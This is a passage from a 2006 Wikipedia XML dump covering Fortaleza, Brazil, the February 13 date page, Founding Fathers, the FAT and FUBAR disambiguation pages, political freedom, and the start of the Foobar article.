Fortaleza's history began [[February 2]],[[1500]] when the [[Spaniard]] [[Vicente Yáñez Pinzón|Vicente Pinzón]] landed in Mucuripe's cove and named the new land by the name of ''Santa Maria de la Consolación'' but because of the [[Treaty of Tordesillas]] the discover was never officialised.  
The real colonization started when the [[Netherlands|Dutch]] constructed the Fort Schoonenborch in [[1649]]. Later, the [[Portugal|Portuguese]] expelled the Dutch and renamed it to [[Forte de Nossa Senhora da Assunção]]. Around the fort, which even today is in perfect conservation state, a small village grew into the fifth largest city in [[Brazil]] today.  In [[2004]] [[Luizianne Lins]] was surprisingly elected as mayor.

== Tourism ==

&lt;!-- Image with unknown copyright status removed: [[Image:Forte.jpg|thumb|left|240px|[[Forte de Nossa Senhora da Assunção]]]] --&gt;
A complete infrastructure, three thousand hours of sun per year and the constant ocean breeze gives the full dimension of this paradise. For those who have more energy, the nightlife is full of attractions, with bars, restaurants, and shows. Not even on Mondays does Fortaleza cool down. The city is known for having the &quot;wildest Monday nights in the world.&quot; The [[Praia de Iracema]] (Iracema's beach), one of the first urban nuclei of the city, holds many bars and restaurants. There, the [[Ponte dos Ingleses]] (English's Bridge), the old docks, is located and used to watch the sunset and spot dolphins.

[[Image:Praia_de_Fortaleza.jpg|thumb|right|240px|View of Fortaleza's [[Beira-Mar]].]]

Warm waters bathe Fortaleza's urbanized beaches, which offer every comfort to the tourist. The scenery is complemented by the [[jangadas]] (small and rustic [[raft]]s used by many of [[Ceará]]'s fishermen). From the jangadas come the sea's fruits, responsible for the best Ceará's cuisine.
The [[Praia do Futuro]] (Beach of the Future) is the meeting place for the bathers, concentrating a large number of typical beachside restaurants, with carnauba straw used in its construction. The local population calls them &quot;Barracas de Praia.&quot; Thursday nights, the beach becomes the biggest sensation in the capital's nightlife, with live music, [[forró]] and a lot of crab to eat. 

A few kilometers away from the city are some well-known beaches as [[Prainha]], [[Iguape]] and [[Porto das Dunas]]. In the latter there are two large water parks.

== Cultural features ==

=== Landmarks ===

Fortaleza is the home of numerous landmarks and is a popular tourist destination.  Landmarks include:
*[[Teatro José de Alencar|José de Alencar playhouse]]
*[[Farol do Mucuripe|Mucuripe lighthouse]]
*[[Fortaleza's Cathedral|Cathedral]]
*[[Estátua de Iracema|Iracema Statue]]
*[[Forte de Nossa Senhora da Assunção|Nossa Senhora da Assunção Fort]]
*[[Palácio da Luz|Palace of Light]]

== Sports ==

Fortaleza provides visitors and residents with various sport activities. There are several
soccer clubs based in Fortaleza such as [[Fortaleza Esporte Clube|Fortaleza EC]], [[Ferroviário Atlético Clube|Ferroviário AC]] and [[Ceará Sporting Club|Ceará SC]]. 

With strong winds the Praia do Futuro is an excellent place for nautical sports. Fortaleza hosts world competitions of [[surfing]],[[windsurfing]] and [[kitesurfing]].

==External links==
* [http://http://www.fortaleza.ce.gov.br/ Fortaleza City Hall Website] (in Portuguese)

[[Category:Fortaleza| ]]
[[Category:Cities in Ceará]]
[[Category:Ceará state]]
{{Capitals of Brazil}}
[[Category:Coastal cities]]

[[da:Fortaleza]]
[[de:Fortaleza]]
[[et:Fortaleza]]
[[es:Fortaleza (ciudad)]]
[[eo:Fortalezo]]
[[fr:Fortaleza]]
[[gl:Fortaleza, Brasil]]
[[id:Fortaleza]]
[[it:Fortaleza]]
[[nl:Fortaleza (gemeente)]]
[[no:Fortaleza]]
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[[pt:Fortaleza (Ceará)]]
[[ru:Форталеза]]
[[fi:Fortaleza]]
[[sv:Fortaleza]]
[[zh:福塔雷萨]]</text>
    </revision>
  </page>
  <page>
    <title>February 13</title>
    <id>11170</id>
    <revision>
      <id>42066763</id>
      <timestamp>2006-03-03T16:08:49Z</timestamp>
      <contributor>
        <username>Mikkalai</username>
        <id>28438</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/4g0ttn1|4g0ttn1]] ([[User talk:4g0ttn1|talk]]) to last version by Hazr0x</comment>
      <text xml:space="preserve"> {| style=&quot;float:right;&quot;
|- 
|{{FebruaryCalendar}}
|-
|{{ThisDateInRecentYears|Month=February|Day=13}}
|}
'''February 13''' is the 44th day of the year in the [[Gregorian calendar]]. There are 321 days remaining, 322 in [[leap year]]s.
==Events==
* [[1130]] - [[Pope Innocent II|Innocent II]] is voted [[Pope]].
* [[1542]] - [[Catherine Howard]], the fifth wife of [[Henry VIII of England]], is executed for [[adultery]].
* [[1575]] - [[Henry III of France]] is crowned at [[Reims]].
* [[1633]] - [[Galileo Galilei]] arrives in [[Rome]] for his trial before the [[Inquisition]].
* [[1635]] - The first [[public school]] in the [[United States|U.S.]], [[Boston Latin Public School]], is founded.
* [[1668]] - [[Spain]] recognizes [[Portugal]] as an independent nation.
* [[1689]] - [[William III of England|William]] and [[Mary II of England|Mary]] are proclaimed co-rulers of [[England]].
* [[1692]] - [[Massacre of Glencoe]] : About 78 [[Clan Donald|Macdonalds]] at [[Glen Coe]], [[Scotland]] are killed early in the morning for not promptly pledging allegiance to the new king, [[William II of Scotland|William of Orange]].
* [[1815]] - The [[Cambridge Union Society]] founded.
* [[1866]] - The first daylight robbery in [[United States]] history during peacetime takes place in [[Liberty, Missouri]]. This is considered to be the first robbery committed by [[Jesse James]] and his gang, although [[James]]'s role is disputed.
* [[1880]] - [[Thomas Edison]] observes the [[Edison effect]].
* [[1881]] - The [[feminist]] newspaper ''[[La Citoyenne]]'' is first published in [[Paris]] by activist [[Hubertine Auclert]].
* [[1894]] - [[Auguste and Louis Lumière]] patent the ''[[Cinematographe]]'', a combination [[movie camera]] and [[projector]].
* [[1914]] - [[Copyright]]: In [[New York City]] the [[ASCAP]] (for American Society of Composers, Authors and Publishers) is established to protect the copyrighted musical compositions of its members. 
* [[1920]] - The [[Negro National League (the first)|Negro National League]] is formed.
* [[1934]] - The [[Soviet Union|Soviet]] [[steamship]] ''[[Cheliuskin (ship)|Cheliuskin]]'' sinks in the [[Arctic Ocean]].
* [[1935]] - A jury in [[Flemington, New Jersey]] finds [[Bruno Hauptmann]] guilty of the [[1932]] [[kidnapping]] and [[murder]] of the [[Lindbergh kidnapping|Lindbergh baby]], the son of [[Charles Lindbergh]].
* [[1945]] - [[World War II]]: [[Soviet Union]] forces capture [[Budapest]], [[Hungary]] from the [[Nazi]]s. 
* 1945 - [[World War II]]: The [[Royal Air Force]] bombers were dispatched to [[Dresden]], [[Germany]] (see [[Bombing of Dresden in World War II]]).
* [[1955]] - [[Israel]] obtains 4 of the 7 [[Dead Sea scrolls]].
* [[1960]] - [[Nuclear testing]]: [[France]] tests its first [[atomic bomb]]. 
* [[1971]] - [[Vietnam War]]: Backed by [[United States|American]] air and artillery support, [[South Vietnam]]ese troops invade [[Laos]].
* [[1974]] - [[Aleksandr Solzhenitsyn]], winner of the [[Nobel Prize in literature]] in [[1970]], is exiled from the [[Soviet Union]].
* [[1978]] - [[Hilton bombing]]: a [[bomb]] explodes in a refuse truck outside the [[Hilton Hotel]] in [[Sydney]], [[Australia]], killing two refuse collectors and a policeman.
* [[1979]] - The intense [[February 13, 1979 Windstorm]] strikes western [[Washington]] and sinks a 1/2-mile-long section of the [[Hood Canal Bridge]].
* [[1984]] - [[Konstantin Chernenko]] succeeds the late [[Yuri Andropov]] as general secretary of the [[Communist Party of the Soviet Union]].
* [[1988]] - [[1988 Winter Olympic Games]] open in [[Calgary, Alberta]], [[Canada]].
* [[1990]] - [[German reunification]]: An agreement is reached for a two-stage plan to reunite [[Germany]].  
* [[1991]] - [[Gulf War]]: Two laser-guided &quot;[[smart bomb]]s&quot; destroy a bunker in [[Baghdad]].  The bunker was being used as a military communications outpost and unknown to allied forces, as a shelter for [[Iraq]]i civilians.
* [[1996]] - The [[Nepalese People's War]] began.
* [[1996]] - Pop group [[Take That]] announce that they are splitting up.
* [[1997]] - Tune-up and repair work on the [[Hubble Space Telescope]] is started by [[astronaut]]s from the [[Space Shuttle Discovery]].
* 1997 - The [[Dow Jones Industrial Average]] closes above 7,000 for the [[Closing milestones of the Dow Jones Industrial Average|first time]] closing at 7,022.44.
* [[2000]] - The last original &quot;[[Peanuts]]&quot; [[comic strip]] appears in [[newspaper]]s one day after [[Charles M. Schulz]] dies.  
* [[2001]] - An [[earthquake]] measuring 6.6 on the [[Richter Scale]] hits [[El Salvador]], killing at least 400.  
* [[2002]] - [[Elizabeth II of the United Kingdom]] gives former [[New York City]] mayor [[Rudolph Giuliani]] an honorary [[knighthood]].
* [[2004]] - [[Travis Metcalfe]] from the [[Harvard-Smithsonian Center for Astrophysics]] discovers the universe's largest known [[diamond]], [[white dwarf]] [[star]] ''[[BPM 37093]]''.

==Births==
*[[1457]] - [[Mary of Burgundy]], daughter of [[Charles of Burgundy|Charles the Bold]] and wife of [[Maximilian I, Holy Roman Emperor]] (d. [[1482]])
*[[1480]] - [[Girolamo Aleandro]], Italian Catholic cardinal (d. [[1542]])
*[[1599]] - [[Pope Alexander VII]] (d. [[1667]])
*[[1672]] - [[Étienne François Geoffroy]], French chemist (d. [[1731]])
*[[1743]] - [[Joseph Banks]], English botanist and naturalist (d. [[1820]])
*[[1768]] - [[Édouard Adolphe Casimir Joseph Mortier]], French marshal (d. [[1835]])
*[[1769]] - [[Ivan Krylov]], Russian fabulist (d. [[1844]])
*[[1805]] - [[Peter Gustav Dirichlet]], German mathematician (d. [[1859]])
*[[1873]] - [[Feodor Chaliapin]], Russian bass (d. [[1938]])
*[[1884]] - [[Alfred Carlton Gilbert]], American athelete, inventor, and businessman (d. [[1961]])
*[[1885]] - [[Bess Truman]], [[First Lady of the United States]] (d. [[1982]])
*[[1892]] - [[Grant Wood]], American painter (d. [[1942]])
*[[1903]] - [[Georges Simenon]], Belgian writer (d. [[1989]])
*[[1906]] - [[Agostinho da Silva]], Portuguese philosopher (d. [[1994]])
*[[1910]] - [[William Shockley]], American physicist and eugenicist, [[Nobel Prize]] laureate (d. [[1989]])
*[[1911]] - [[Faiz Ahmed Faiz]], noted [[Urdu]] poet and first Asian [[Lenin Peace Prize]] winner, born in [[Sialkot]] [[Pakistan]]. (d. [[1984]])
*[[1913]] - [[George Barker (poet)|George Barker]], British poet (d. [[1991]])
*[[1915]] - [[Aung San]], Burmese Nationalist (d. [[1945]])
*[[1918]] - [[Patty Berg]], American golfer
*[[1919]] - [[Tennessee Ernie Ford]], American musician (d. [[1991]])
*1919 - [[Eddie Robinson (football coach)|Eddie Robinson]], American football coach
*[[1920]] - [[Eileen Farrell]], American opera soprano (d. [[2002]])
*[[1923]] - [[Michael Anthony Bilandic|Michael Bilandic]], Mayor of Chicago (d. [[2002]])
*1923 - [[Yfrah Neaman]], Lebanese-born violinist (d. [[2003]])
*1923 - [[Chuck Yeager]], American pilot and NASA official
*[[1929]] - [[Omar Torrijos]], Panamanian ruler (d. [[1981]])
*[[1930]] - [[Ernst Fuchs (artist)|Ernst Fuchs]], Austrian artist
*[[1933]] - [[Paul Biya]], [[President of Cameroon]]
*1933 - [[Kim Novak]], American actress
*[[1934]] - [[George Segal]], American actor
*[[1937]] - [[Susan Oliver]], American actress (d. [[1990]])
*[[1938]] - [[Oliver Reed]], English actor (d. [[1999]])
*[[1939]] - [[Serge and Beate Klarsfeld|Beate Klarsfeld]], German Holocaust investigator/Nazi hunters
*[[1941]] - [[Sigmar Polke]], German painter
*[[1942]] - [[Carol Lynley]], American actress
*1942 - [[Peter Tork]], American musician and actor ([[The Monkees]])
*[[1943]] - [[Geoff Edwards]], American game show host
*[[1944]] - [[Stockard Channing]], American actress
*1944 - [[Jerry Springer]], American television host
*1944 - [[Bo Svenson]], Swedish-born actor
*[[1946]] - [[Colin Matthews]], British composer
*[[1947]] - [[Mike Krzyzewski]], American basketball player and coach
*[[1950]] - [[Peter Gabriel]], English musician ([[Genesis (band)|Genesis]])
*[[1951]] - [[Greg Fulginiti]], American [[mastering]] engineer
*[[1951]] - [[David Naughton (actor)|David Naughton]], American actor and singer
*[[1954]] - [[Donnie Moore]], baseball player (d. [[1989]])
*[[1956]] - [[Peter Hook]], English bassist ([[Joy Division]] and [[New Order]])
*[[1958]] - [[Pernilla August]], Swedish actress
*[[1960]] - [[Pierluigi Collina]], Italian football referee
*1960 - [[Matt Salinger]], American actor
*1960 - [[Artur Yusupov]], Russian/German chess player
*[[1961]] - [[CEvin Key|cEvin Key]], musician
*1961 - [[Henry Rollins]], American musician
*[[1962]] - [[Aníbal Acevedo Vilá]], American politician
*[[1964]] - [[Mark Patton]], American actor
*[[1965]] - Stephan Fritzen, German writer
*[[1968]] - [[Kelly Hu]], American actress
*[[1970]] - [[Karoline Krüger]], Norwegian singer
*[[1971]] - [[Sonia]], British singer
*1971 - [[Mats Sundin]], Swedish hockey player
*[[1974]] - [[Gus Hansen]], Danish professional poker player
*1974 - [[Robbie Williams]], English singer
*[[1975]] - [[Iván González]], Puerto Rican disc jockey and musician
*[[1977]] - [[Randy Moss]], American football player
&lt;!-- Do not add yourself, or anyone else who does not already have a Wikipedia article, to this list. Duplicate instances of years should not be links. --&gt;

==Deaths==
*[[1130]] - [[Pope Honorius II]], Catholic Pope
*[[1219]] - [[Minamoto no Sanetomo]], Japanese shogun (b. [[1192]])
*[[1322]] - [[Andronicus II]], [[Byzantine Emperor]] (b. [[1260]])
*[[1539]] - [[Isabella d'Este]], Marquise of Mantua (b. [[1474]])
*[[1542]] - [[Catherine Howard]], queen of [[Henry VIII of England]] (executed) (b. [[1525]])
*[[1571]] - [[Benvenuto Cellini]], Italian artist (b. [[1500]])
*[[1585]] - [[Alfonso Salmeron]], Spanish Jesuit biblical scholar (b. [[1515]])
*[[1592]] - [[Jacopo Bassano]], Italian painter
*[[1600]] - [[Gian Paolo Lomazzo]], Italian painter (b. [[1538]])
*[[1602]] - [[Alexander Nowell]], English clergyman
*[[1608]] - [[Konstanty Wasyl Ostrogski]], Lithuanian prince (b. [[1526]])
*[[1624]] - [[Stephen Gosson]], English satirist (b. [[1554]])
*[[1657]] - [[Miles Sindercombe]], attempted assassin of [[Oliver Cromwell]]
*[[1660]] - King [[Charles X of Sweden]] (b. [[1622]])
*[[1662]] - [[Elizabeth of Bohemia]] (b. [[1596]])
*[[1727]] - [[William Wotton]], English scholar (b. [[1666]])
*[[1728]] - [[Cotton Mather]], American Puritan minister (b. [[1663]])
*[[1732]] - [[Charles-René d'Hozier]], French historian (b. [[1640]])
*[[1787]] - [[Rudjer Josip Boscovich|Ru&amp;#273;er Bo&amp;#353;kovi&amp;#263;]], Croatian scientist and diplomat (b. [[1711]])
*1787 - [[Charles Gravier, comte de Vergennes]], French statesman and diplomat (b. [[1717]])
*[[1813]] - [[Samuel Ashe]], Governor of North Carolina (b. [[1725]])
*[[1845]] - [[Henrik Steffens]], Norwegian-German philosopher (b. [[1773]])
*[[1883]] - [[Richard Wagner]], German composer (b. [[1813]])
*[[1950]] - [[Rafael Sabatini]], Italian author (b. [[1875]])
*[[1951]] - [[Lloyd C. Douglas]], American author (b. [[1877]])
*[[1952]] - [[Josephine Tey]], English author (b. [[1896]])
*[[1964]] - [[Gerald Gardner]], British writer (b. [[1884]])
*[[1968]] - [[Mae Marsh]], American actress (b. [[1895]])
*[[1976]] - [[Murtala Mohammed]], Nigerian military leader (b. [[1938]])
*1976 - [[Lily Pons]], French-born soprano (b. [[1904]])
*[[1989]] - [[Wayne Hays]], American politician (b. [[1911]])
*[[1980]] - [[David Janssen]], American actor (b. [[1931]])
*[[1996]] - [[Martin Balsam]], American actor (b. [[1919]])
*[[2000]] - [[James Cooke Brown]], American author and inventor (b. [[1921]])
*[[2002]] - [[Waylon Jennings]], American musician (b. [[1937]])
*[[2003]] - [[Kid Gavilan]], Cuban boxer (b. [[1926]])
*2003 - [[Axel Jensen]], Norwegian author (b. [[1932]])
*2003 - [[Walt Rostow]], U.S. government official (b. [[1916]])
*[[2004]] - [[Zelimkhan Yandarbiyev]], Chechen leader (b. [[1952]])
*[[2005]] - [[Nelson Briles]], baseball player (b. [[1943]])
*2005 - [[Lúcia Santos]], Carmelite nun (b. [[1907]])
*2005 - [[Maurice Trintignant]], French race car driver (b. [[1917]])
*[[2006]] - [[Andreas Katsulas]], American actor (b. [[1946]])
&lt;!-- Duplicate instances of years should not be links. --&gt;

==External links==
* [http://www1.sympatico.ca/cgi-bin/on_this_day?mth=Feb&amp;day=13 On this day in Canada]
* [http://www.nytimes.com/learning/general/onthisday/20060213.html NY Times: On this day]
* [http://news.bbc.co.uk/onthisday/hi/dates/stories/february/13 BBC: On This Day]

----

[[February 12]] - [[February 14]] - [[January 13]] - [[March 13]] -- [[historical anniversaries|listing of all days]]

{{months}}

[[af:13 Februarie]]
[[an:13 de frebero]]
[[ar:13 فبراير]]
[[ast:13 de febreru]]
[[be:13 лютага]]
[[bg:13 февруари]]
[[bs:13. februar]]
[[ca:13 de febrer]]
[[ceb:Pebrero 13]]
[[co:13 di frivaghju]]
[[cs:13. únor]]
[[csb:13 gromicznika]]
[[cv:Нарăс, 13]]
[[cy:13 Chwefror]]
[[da:13. februar]]
[[de:13. Februar]]
[[el:13 Φεβρουαρίου]]
[[eo:13-a de februaro]]
[[es:13 de febrero]]
[[et:13. veebruar]]
[[eu:Otsailaren 13]]
[[fi:13. helmikuuta]]
[[fo:13. februar]]
[[fr:13 février]]
[[fy:13 febrewaris]]
[[ga:13 Feabhra]]
[[gl:13 de febreiro]]
[[he:13 בפברואר]]
[[hr:13. veljače]]
[[hu:Február 13]]
[[ia:13 de februario]]
[[id:13 Februari]]
[[ie:13 februar]]
[[io:13 di februaro]]
[[is:13. febrúar]]
[[it:13 febbraio]]
[[ja:2月13日]]
[[jv:13 Februari]]
[[ka:13 თებერვალი]]
[[ko:2월 13일]]
[[ku:13'ê reşemiyê]]
[[la:13 Februarii]]
[[lb:13. Februar]]
[[lt:Vasario 13]]
[[mk:13 февруари]]
[[ms:13 Februari]]
[[nap:13 'e frevaro]]
[[nl:13 februari]]
[[nn:13. februar]]
[[no:13. februar]]
[[oc:13 de febrièr]]
[[pam:Pebreru 13]]
[[pl:13 lutego]]
[[pt:13 de Fevereiro]]
[[ro:13 februarie]]
[[ru:13 февраля]]
[[scn:13 di frivaru]]
[[sco:13 Februar]]
[[se:Guovvamánu 13.]]
[[simple:February 13]]
[[sk:13. február]]
[[sl:13. februar]]
[[sq:13 Shkurt]]
[[sr:13. фебруар]]
[[sv:13 februari]]
[[te:ఫిబ్రవరి 13]]
[[th:13 กุมภาพันธ์]]
[[tl:Pebrero 13]]
[[tr:13 Şubat]]
[[tt:13. Febräl]]
[[uk:13 лютого]]
[[vi:13 tháng 2]]
[[wa:13 di fevrî]]
[[war:Pebrero 13]]
[[zh:2月13日]]</text>
    </revision>
  </page>
  <page>
    <title>Founding Fathers</title>
    <id>11171</id>
    <revision>
      <id>39681590</id>
      <timestamp>2006-02-15T03:15:56Z</timestamp>
      <contributor>
        <ip>69.182.42.149</ip>
      </contributor>
      <comment>/* Examples */</comment>
      <text xml:space="preserve">{{Redirect|Founders}}
'''Founding Fathers''' are persons instrumental in the establishment of an institution, usually a political institution, especially those connected to the origination of its ideals. The term is most often used in more reverential treatments of national history.

Objections have sometimes been raised to indicate that the term is inherently partial to the role of men in history, and thus [[sexism|sexist]]. Alternate terms, such as &quot;Framers&quot;, or &quot;Founders&quot; may be used to be more inclusive of female participation. There is, of course, the counter-argument that [[patriarchy|patriarchal]] dominance in history has been the rule and that the term is thus more descriptive of an era (or of most eras) than it is truly sexist.

Alternate terms such as these may also be used to indicate a more neutral attitude to the individuals in question, as while anyone may be a founder of a nation, the implication of familial relationship is likely to be something more personal. An [[United States|American]], for instance, might be less likely to refer to the &quot;Founding Fathers&quot; of [[Canada]], and vice versa--the term itself is generally particular to one's own country, and may be more often used in reference to American history than to that of other nations.

==Examples==

* '''Australia''': The leaders of the [[Constitutional history of Australia|Australian federalist movement]] in the [[1890s]] might be described as Founding Fathers.

* '''Canada''': [[Canada]] has its Fathers of Confederation&amp;mdash;see [[Canadian Confederation]].

* '''Europe''': [[Robert Schuman]], [[Jean Monnet]], [[Konrad Adenauer]], [[Alcide De Gasperi]], [[Paul-Henri Spaak]] and [[Altiero Spinelli]] have been referred to as the founding fathers of the [[European Union]].

*'''Germany''': [[Otto von Bismarck]], the &quot;Iron Chancellor&quot;, engineered the unification of the numerous states of [[Germany]]. Modern, democratic Germany was decisively shaped by the &quot;Fathers of the [[Basic Law for the Federal Republic of Germany|Basic Law]]&quot; in the 1948 Constitutional Convention at [[Herrenchiemsee]] and by the first [[Chancellor of Germany|Federal Chancellor]], [[Konrad Adenauer]].

* '''Italy''': [[Giuseppe Garibaldi]], [[Victor Emmanuel II]], [[Count Cavour]], [[Giuseppe Mazzini]] have been referred to as the founding fathers of the [[Kingdom of Italy]].

* '''South America''': [[Simon Bolivar]], [[Jose Antonio Paez]], [[General Rafael Urdaneta]], [[Francisco de Paula Santander]] have been referred to as the founding fathers of the northern countries of South America (Venezuela, Colombia, Peru, Panama, Ecuador, Bolivia).

* '''Switzerland''': Both the anonymous ''[[Eidgenossen]]'' who drew up the [[Federal Charter of 1291]], or the liberal statesmen who helped found the modern [[Swiss Confederation]] in 1848 can be considered the founding fathers of [[Switzerland]]. Among the latter, those who became the first members of the [[Swiss Federal Council]] were perhaps the most notable: [[Ulrich Ochsenbein]], [[Jakob Stämpfli]], [[Jonas Furrer]], [[Martin J. Munzinger]], [[Daniel-Henri Druey]], [[Friedrich Frey-Herosé]], [[Wilhelm Matthias Naeff]] and [[Stefano Franscini]].

* '''United States of America''': The creators and early developers of the [[United States|United States of America]], such as the signers of its [[United States Declaration of Independence|Declaration of Independence]] and the framers of its [[United States Constitution|Constitution]]&amp;mdash;see [[Founding Fathers of the United States]].

==See also==
* [[Founding Fathers of the United States]]
* [[Father of the Nation]]

[[Category:Politics]]
[[de:Gründerväter]]
[[it:Padri fondatori]]
[[pl:Ojcowie-założyciele]]</text>
    </revision>
  </page>
  <page>
    <title>FAT</title>
    <id>11172</id>
    <revision>
      <id>41688414</id>
      <timestamp>2006-03-01T01:52:00Z</timestamp>
      <contributor>
        <username>Ceyockey</username>
        <id>150564</id>
      </contributor>
      <comment>Reverting to edit version 40205840 to remove derogatory passage added by 170.158.18.97</comment>
      <text xml:space="preserve">'''FAT''' may mean:

* Factory acceptance test (see [[Acceptance test]]), a software engineering concept
* [[Far Eastern Air Transport]], a Chinese airline
* [[File Allocation Table]], a file system format used by Microsoft operating systems
* [[Forces Armées Tchadiennes]], the Chad armed forces of the government of [[President of Chad|President]] [[Félix Malloum]] 
* [[Authentic Labor Front|Frente Auténtico del Trabajo]], a Mexican [[Labour economics|labor]] confederation
* [[Fresno Yosemite International Airport]] (IATA airport code FAT)

==See also==
* [[Fat]], a generic term for a class of lipids in biochemistry
** [[Fat tissue]] or adipose tissue
** [[Fatness]] or obesity

{{TLAdisambig}}

[[de:FAT]]</text>
    </revision>
  </page>
  <page>
    <title>Freedom (political)</title>
    <id>11175</id>
    <revision>
      <id>41868956</id>
      <timestamp>2006-03-02T06:34:00Z</timestamp>
      <contributor>
        <ip>150.201.115.135</ip>
      </contributor>
      <text xml:space="preserve">{{Liberalism}}
'''Political freedom''' is the [[right]], or the capacity, of self-determination
as an expression of the individual will.

==Philosophy of political freedom==

[[Philosophers]] have identified a positive and negative aspect to the concept of &quot;freedom&quot;. &quot;Positive freedom&quot; may generally be defined as the ability of an individual to act to fulfill their potential (see [[positive liberty]]). &quot;Negative freedom&quot; may generally be defined as the absence of constraint upon an individual (see [[negative liberty]]).

For example, according to [[Thomas Hobbes]] an individual is free to act when the [[law]] does not prohibit an act or is otherwise silent on the matter. [[Isaiah Berlin]] and others examined the difference between the positive and negative views of freedom in his [[1958]] essay ''[[Two Concepts of Liberty]]''.

One of the most notable contributors to the modern concept of political freedom was the [[Victorian era|Victorian]] philosopher [[John Stuart Mill]] who, in his magnus opus ''[[On Liberty]]'', outlined several freedoms that were not recognized during the Victorian period in [[United Kingdom|Britain]]. He largely based his political philosophy on the [[harm principle]], which essentially posits that people should be allowed to do as they wish provided others are not harmed.

Following from this distinction, when an individual is free from social and political ills they may enjoy [[safety]] or [[security]], while an individual who is free to act generally enjoys [[liberty]].

==Types of freedom==

The concept of political freedom is closely allied with the concepts of [[civil liberties]] and [[human rights]], and the fundamental idea of positive and negative freedom corresponds with the concept of [[negative and positive rights]].

Most [[democracy|democratic]] societies are characterised by various freedoms which are afforded the legal protection of the [[state]]. Some of these freedoms include (in alphabetical order):
*[[Freedom of assembly]]
*[[Freedom of association]]
*Freedom from [[discrimination#Government sanctioned discrimination|government sanctioned discrimination]]
*[[Freedom of movement]] (or travel)
*[[Freedom of the press]] 
*[[Freedom of religion]] (or belief)
*[[Freedom of speech]]
*[[Freedom of thought]] (or conscience)

The [[constitution]]s of many nations specifically codify some of these freedoms in a [[bill of rights]].

==Different views on political freedom==

Various groups along the [[political spectrum]] naturally differ on what they believe constitutes &quot;true&quot; political freedom; in fact the debate has been demonstrated by the ever-changing content of this article. Germane to the debate are [[Friedrich Hayek]]'s comments [[wikiquote:Friedrich Hayek|on the meaning of words]]. It is interesting that, following those comments in his book, he wrote that the most abused words have been &quot;liberty&quot; and &quot;freedom&quot;.

In [[libertarianism]], freedom is defined in terms of lack of government interference in the individual pursuit of happiness, as long as others' freedom is not thereby harmed; for example, [[capitalist]]s place a high value on freedom from government interference in the economy. This kind of freedom may be referred to as a kind of [[negative liberty]].

On the other hand, those on the [[Left-wing politics|political left]] place more emphasis on freedom as the ability of the individual to realize one's own potential and pursue happiness. Freedom in this sense may include freedom from want, poverty, deprivation, or oppression. These kinds of freedom may be referred to as [[positive liberty]].

Many [[anarchism|anarchists]] (but not [[anarcho-capitalism|anarcho-capitalists]]) see negative and positive liberty as complementary concepts of freedom.

Some treat freedom as if it were almost synomymous with [[democracy]], while other see conflicts or even opposition between the two concepts.

[[Environmentalist]]s often argue that political freedoms should include some social constraint on use of [[ecosystem]]s.  They maintain there is no such thing, for instance, as &quot;freedom to pollute&quot; or &quot;freedom to deforest&quot; given the [[downstream consequences]].  The popularity of [[SUV]]s, [[golf]], and [[urban sprawl]] has been used as evidence that some ideas of freedom and [[ecological conservation]] can clash. This leads at times to serious confrontations and clashes of [[values]] reflected in advertising campaigns, e.g. that of [[PETA]] regarding [[fur]].

In [[jurisprudence]], freedom is the [[right]] to autonomously determine one's own actions; generally it is granted in those fields in which the subject has no [[obligation]]s to fulfill or [[law]]s to obey, according to the interpretation that the hypothetical natural unlimited freedom is limited by the law for some matters.

==Recent trends in political freedom around the world==

In modern times the expansion of &quot;freedom&quot; around the world is considered by some to be synonymous with increased participation in [[democracy|democratic]] [[political system]]s.

During the 20th century overall, there was a dramatic growth in democracy, especially among the [[developed country|more developed countries]], and decline in monarchy and colonialism. However, there was also an increase in various types of [[authoritarianism|authoritarian]] regimes, and currently 33 percent of people in [[less developed country|less developed countries]] live in countries subject to some kind of authoritarian rule.

In the last several decades, there has only been moderate growth in freedom, and [[as of 2000]], about 40% of people in developing countries still live in countries which lack political freedoms.

==Quotes about political freedom==
(see also [[Freedom#Quotes_about_freedom|Quotes about Freedom]])
*&quot;E&amp;lambda;&amp;epsilon;&amp;upsilon;&amp;theta;&amp;epsilon;&amp;rho;&amp;iota;&amp;alpha; ή &amp;theta;&amp;alpha;&amp;nu;&amp;alpha;&amp;tau;&amp;omicron;&amp;sigmaf;&quot; (Freedom or Death!)&lt;br&gt; &amp;mdash;[[Crete|Cretan]] War cry.
*&quot;Give me Liberty or give me Death!&quot; &lt;br&gt;&amp;mdash;[[Patrick Henry]]
*&quot;I may not agree with what you say, but I'll fight to the death for your right to say it.&quot; &lt;br&gt;&amp;mdash;[[Voltaire]]</text>
    </revision>
  </page>
  <page>
    <title>Foo</title>
    <id>11176</id>
    <revision>
      <id>15908939</id>
      <timestamp>2002-10-04T15:36:52Z</timestamp>
      <contributor>
        <username>Tarquin</username>
        <id>83</id>
      </contributor>
      <comment>#REDIRECT [[Metasyntactic variable]]</comment>
      <text xml:space="preserve">#REDIRECT [[Metasyntactic variable]]</text>
    </revision>
  </page>
  <page>
    <title>FUBAR</title>
    <id>11177</id>
    <revision>
      <id>40778575</id>
      <timestamp>2006-02-22T23:29:16Z</timestamp>
      <contributor>
        <ip>12.201.103.238</ip>
      </contributor>
      <text xml:space="preserve">'''FUBAR''' may refer to:

* [[FUBAR: The Movie]], a 2002 Canadian mockumentary
* [[Foobar]], a military slang term that is also sometimes used in computer programming
* [[foobar2000]], a freeware media player for Microsoft Windows
* [[FUBAR]], Fucked up beyond all recognition

{{disambig}}</text>
    </revision>
  </page>
  <page>
    <title>Foobar</title>
    <id>11178</id>
    <revision>
      <id>41568784</id>
      <timestamp>2006-02-28T05:12:24Z</timestamp>
      <contributor>
        <ip>84.73.159.233</ip>
      </contributor>
      <comment>/* Army acronyms similar to FUBAR */</comment>
      <text xml:space="preserve">{{otheruses}}

'''Foobar''' is a common [[placeholder name]] used in [[computer programming]]. It has been described as &quot;the association of two [[metasyntactic variable]]s: ''foo'' and ''bar''&quot;. These [[variables]] are often used in computer programming examples.

==Etymology==
Most probably, &quot;foo&quot; and &quot;bar&quot; were derived from &quot;foobar,&quot; which in turn had its origins in the military slang acronym '''[[FUBAR]]'''. The most common rendition is &quot;Fucked Up Beyond All Recognition&quot; (Several variant renditions exist, with, for example, the words &quot;Fouled&quot;, &quot;Any Repair&quot;, &quot;Any Redemption&quot;, or &quot;All Reason&quot; used instead of the versions above.)

